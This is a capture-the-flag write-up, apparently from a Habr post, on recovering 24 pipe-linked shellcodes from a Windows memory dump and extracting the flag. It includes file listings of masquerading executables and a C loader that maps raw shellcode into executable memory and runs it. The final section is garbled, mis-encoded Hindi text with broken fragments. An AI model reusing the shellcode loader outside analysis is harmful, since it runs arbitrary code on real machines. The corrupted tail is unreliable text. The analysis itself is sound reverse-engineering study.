zn_2019\ConsoleApplication5.exe SIGN.MEDIA=5B0058 zn_2019\Injector2.exe SIGN.MEDIA=5B0058 zn_2019\injector.exe SIGN.MEDIA=5B0058 zn_2019\note.exe SIGN.MEDIA=A856FE8 zn_2019\server\hui\Discord.exe SIGN.MEDIA=A856FE8 zn_2019\server\hui\Far.exe SIGN.MEDIA=A856FE8 zn_2019\server\hui\FileZillaFTPclient.exe SIGN.MEDIA=A856FE8 zn_2019\server\hui\InputDirector.exe SIGN.MEDIA=A856FE8 zn_2019\server\hui\KeePass.exe SIGN.MEDIA=A856FE8 zn_2019\server\hui\PicPick.exe SIGN.MEDIA=A856FE8 zn_2019\server\hui\Skype.exe SIGN.MEDIA=A856FE8 zn_2019\server\hui\UpdateManager.exe SIGN.MEDIA=A856FE8 zn_2019\server\hui\VBoxManager.exe SIGN.MEDIA=A856FE8 zn_2019\server\hui\idaq.exe SIGN.MEDIA=A856FE8 zn_2019\server\hui\javaw.exe SIGN.MEDIA=A856FE8 zn_2019\server\hui\lunix.exe SIGN.MEDIA=A856FE8 zn_2019\server\hui\paint.exe SIGN.MEDIA=A856FE8 zn_2019\server\hui\python3.7.exe SIGN.MEDIA=A856FE8 zn_2019\server\hui\r.exe SIGN.MEDIA=A856FE8 zn_2019\server\hui\svghost.exe SIGN.MEDIA=A856FE8 zn_2019\server\hui\tsm.exe SIGN.MEDIA=A856FE8 zn_2019\server\hui\usha.exe SIGN.MEDIA=A856FE8 zn_2019\server\hui\video_xxx_kopati4_nadaval_ogurcov_kroshu.mp4.exe SIGN.MEDIA=AB82C zn_2019\ConsoleApplication5.exe SIGN.MEDIA=AB82C zn_2019\injector.exe SIGN.MEDIA=B06D4C64 zn_2019\server\a.exe SIGN.MEDIA=B06D4C64 zn_2019\server\hui.exe SIGN.MEDIA=B06D4C64 zn_2019\server\run.exe SIGN.MEDIA=B06D4C64 zn_2019\server\video_xxx_kopati4_nadaval_ogurcov_kroshu.mp4.exe SIGN.MEDIA=BA802 zn_2019\server\run.exe SIGN.MEDIA=E00058 zn_2019\ConsoleApplication5 (2).exe SIGN.MEDIA=E00058 zn_2019\ConsoleApplication5.exe SIGN.MEDIA=E00058 zn_2019\Injector2.exe SIGN.MEDIA=E00058 zn_2019\injector.exe SIGN.MEDIA=E00058 zn_2019\note.exe SIGN.MEDIA=E00058 zn_2019\note2.exe SIGN.MEDIA=E00058 zn_2019\note2.exe SIGN.MEDIA=E9982 zn_2019\server\run.exe 

I used my old tool to get filesystem structure out of NTFS records (a lot of FILE records usually cached in RAM).




data_storage is small enough to contain some resident $DATA inside FILE record, so we can extract it.


This file contains shellcode. All it does is resolving CreateNamedPipeA by hash using special function (see Figure below) and calling it with "\.\pipe\zn_shell_stor" argument.



I highlighted part of this function, this bytes can be used to located other 24 shellcodes inside memory dump.


One of shellcode #21 contained references to other, it is probably the main one.


 Global\vtHAjnNbCecOeNAnVeQFmdRw Global\jGzXXZJbXGPYniopljDEdwuD Global\jpBuyMNJzdnpwHimVlcBkwGo Global\ArlCJOxJFOKRkqOLcBhvjYqj Global\THxjCBohxSlNgCFbwJsHujqk Global\BOiJhsLFBuZdsFdCrLKEucpJ Global\iYxszVIFfsuzzEmGwgOQeEcb Global\NOluZoXPJalShopCCuNnWQbR Global\GCrtPmNEAOsZpSNNBdiYQfgz Global\pVVgeqcREhXSgKCwhkeyfTXw Global\trsQPehKvlxBJhEqIPtwzjxi Global\ngVrhgAEqcDssFsNerrAZsFz Global\KiZvGyiMnyTgvQdFNGcudfTY Global\FzXvKPKGCPMAERklFMXVMYga Global\nCZpFZPtyidhFOvVeemfyJAC Global\pjRmfOLLBXIbsJholoasvrqC Global\mhOVYcYRKgWdABAsgkvrcOOM Global\syGiShcLTXfQYGAAiafYBxoF Global\KbFVsPCPZrfVlUIQlvVoJLXW Global\XbuYiHCxQLTLApuToFldJIgI Global\auFqpIQAlsHcvjPEakqHyIeA Global\MrnXOMJvHmYBxRfkbLBUYWgn Global\GYVOmvrLhCpgQUPfnOshzzem Global\qaswedfrtghyujkiol121232 \\.\pipe\zn_shell_stor 

Every shellcode is started with CALL $+X instruction (E8 ?? ?? ?? ??), followed by data block and executable code. Code is looking for some functions and evaluates logic based on data read from pipe "\.\pipe\zn_shell_stor" .


FileTagsMutex
b1mov movGlobal\GCrtPmNEAOsZpSNNBdiYQfgz
b2SBOX "axfksyBLjRfMFZXdINqyTXcekgCxPRNpKtmTAj SUdmElMsuKYkmFYbJxSbXwxmvQ"Global\NOluZoXPJalShopCCuNnWQbR
b3inc byte [rbp+0Ch]Global\ngVrhgAEqcDssFsNerrAZsFz
b4repne scasb strlen() == 18Global\jpBuyMNJzdnpwHimVlcBkwGo
b5??Global\ArlCJOxJFOKRkqOLcBhvjYqj
b6xor BUFFER "\x31\x2A\x72\xC8\x5E\x08\xC5\xFE \x07\x44\xCB\xEB\x76\x3B\xE1\x3A\x83"Global\MrnXOMJvHmYBxRfkbLBUYWgn
b7??Global\GYVOmvrLhCpgQUPfnOshzzem
b8cmp word [rbp+0Ch], 12hGlobal\KbFVsPCPZrfVlUIQlvVoJLXW
b9??Global\BOiJhsLFBuZdsFdCrLKEucpJ
b10??Global\iYxszVIFfsuzzEmGwgOQeEcb
b11cmpGlobal\pjRmfOLLBXIbsJholoasvrqC
b12add xor cl x2Global\nCZpFZPtyidhFOvVeemfyJAC
b13inc [rbp+0Ch]Global\auFqpIQAlsHcvjPEakqHyIeA
b14dw[rbp+0Ch] = dw[rbp+0Ch] + dw[rbp+0Ch]Global\syGiShcLTXfQYGAAiafYBxoF
b15WIN! Sleep BeepGlobal\XbuYiHCxQLTLApuToFldJIgI
b16save byteGlobal\mhOVYcYRKgWdABAsgkvrcOOM
b17add xor cl x2Global\FzXvKPKGCPMAERklFMXVMYga
b18zero rbp (0, 211h, 80h)Global\trsQPehKvlxBJhEqIPtwzjxi
b19??Global\KiZvGyiMnyTgvQdFNGcudfTY
b20Read from C:\beeps\flag.txtGlobal\vtHAjnNbCecOeNAnVeQFmdRw
b21MAIN
b22XorGlobal\THxjCBohxSlNgCFbwJsHujqk
b23cmp dw[rbp+0Ch], 256 decGlobal\pVVgeqcREhXSgKCwhkeyfTXw
b24beep(1000, 1100)Global\jGzXXZJbXGPYniopljDEdwuD

Understanding of shellcode actions is a little bit hard because everything tied together via pipe (A calls B, B calls C and etc.). We are required to jump from one shellcode to another during reversing.


I decided to execute it all and see what happens. All shellcodes was saved as files bN , where N is a number in range from 1 to 24 in order of appearing in memory dump. Dump #21 is the main dispatcher (it must be loaded first). File C:\beeps\flag.txt should be present in system for #20 to work.


 #include <windows.h> void load_shellcode(int index) { FILE* fp; DWORD dwThread; int size; CHAR filename[32]; sprintf_s(filename, "b%i", index); fopen_s(&fp, filename, "rb"); fseek(fp, 0, SEEK_END); size = ftell(fp); fseek(fp, 0, SEEK_SET); LPVOID pMem = VirtualAlloc( NULL, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE ); printf("Loaded %i | size=%i | at %p\n", index, size, pMem); fread(pMem, 1, size, fp); CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)pMem, 0, 0, &dwThread); fclose(fp); } int main() { load_shellcode(21); Sleep(1000); for (int i = 1; i <= 24; i++) { if (i == 21) continue; load_shellcode(i); } while (1) Sleep(1000); } 

I created C:\beeps\flag.txt with some dummy content (length is 17 as hinted by one of the shellcodes) and also set a breakpoint at module doing xor with buffer (#6).


Program executed and flag showed up in memory after XOR operation.


Flag: zn{$ucH SL0W !pC}


рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛ рд╕рд┐рд╕реЗрдВрдЯрд░ рдиреЗ 6 рджрд┐рдиреЛрдВ рдХреЗ рд▓рд┐рдП рдХрд╛рд░реНрдп рдХрд╛ рд╡рд┐рд╢реНрд▓реЗрд╖рдг рддреИрдпрд╛рд░ рдХрд┐рдпрд╛ред рдЖрдк рдЗрд╕реЗ рдпрд╣рд╛рдБ рдкрд╛ рд╕рдХрддреЗ рд╣реИрдВ ред


рдХреБрдЫ рдЖрдБрдХрдбрд╝реЗ


рдЗрд╕ рд╕рд╛рд▓, рджреЛ рд╣рдЬрд╛рд░ рд╕реЗ рдЕрдзрд┐рдХ рд▓реЛрдЧреЛрдВ рдиреЗ рдХрд╛рд░реНрдп рдкреГрд╖реНрдареЛрдВ рдХрд╛ рджреМрд░рд╛ рдХрд┐рдпрд╛ рдпрд╛ рд╕рдорд╛рдзрд╛рди рдХреЗ рд▓рд┐рдП рдЖрд╡рд╢реНрдпрдХ рдлрд╛рдЗрд▓реЗрдВ рдбрд╛рдЙрдирд▓реЛрдб рдХреАрдВред рдЙрд╕реА рд╕рдордп 136 рдкреНрд░рддрд┐рднрд╛рдЧрд┐рдпреЛрдВ рдиреЗ рдзреНрд╡рдЬ рдХреЛ рдкрд╛рд░рд┐рдд рдХрд░рдиреЗ рдХрд╛ рдкреНрд░рдпрд╛рд╕ рдХрд┐рдпрд╛ред


.
тАФ ASR-EHD Digital Security . (AV1ct0r), 22 15 .


Protected Shell RuCTFE. тАФ 10. vos, 1 26.


, . 12-13 ZeroNights .

Source: https://habr.com/ru/post/hi472416/


All Articles